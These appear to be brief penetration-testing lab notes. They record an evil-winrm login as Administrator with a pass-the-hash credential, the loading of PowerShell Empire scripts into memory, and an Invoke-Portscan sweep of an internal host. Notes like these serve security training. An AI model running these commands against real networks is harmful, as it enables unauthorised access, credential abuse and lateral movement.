10.200.101.100

All enumeration is done through git-serv

We can upload powershell scripts into memory with evil-winrm

sudo evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.101.150 -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/

Invoke-Portscan.ps1
Get-Help Invoke-Portscan

Scan the personal PC

Invoke-Portscan -Hosts 10.200.101.100 -TopPorts 50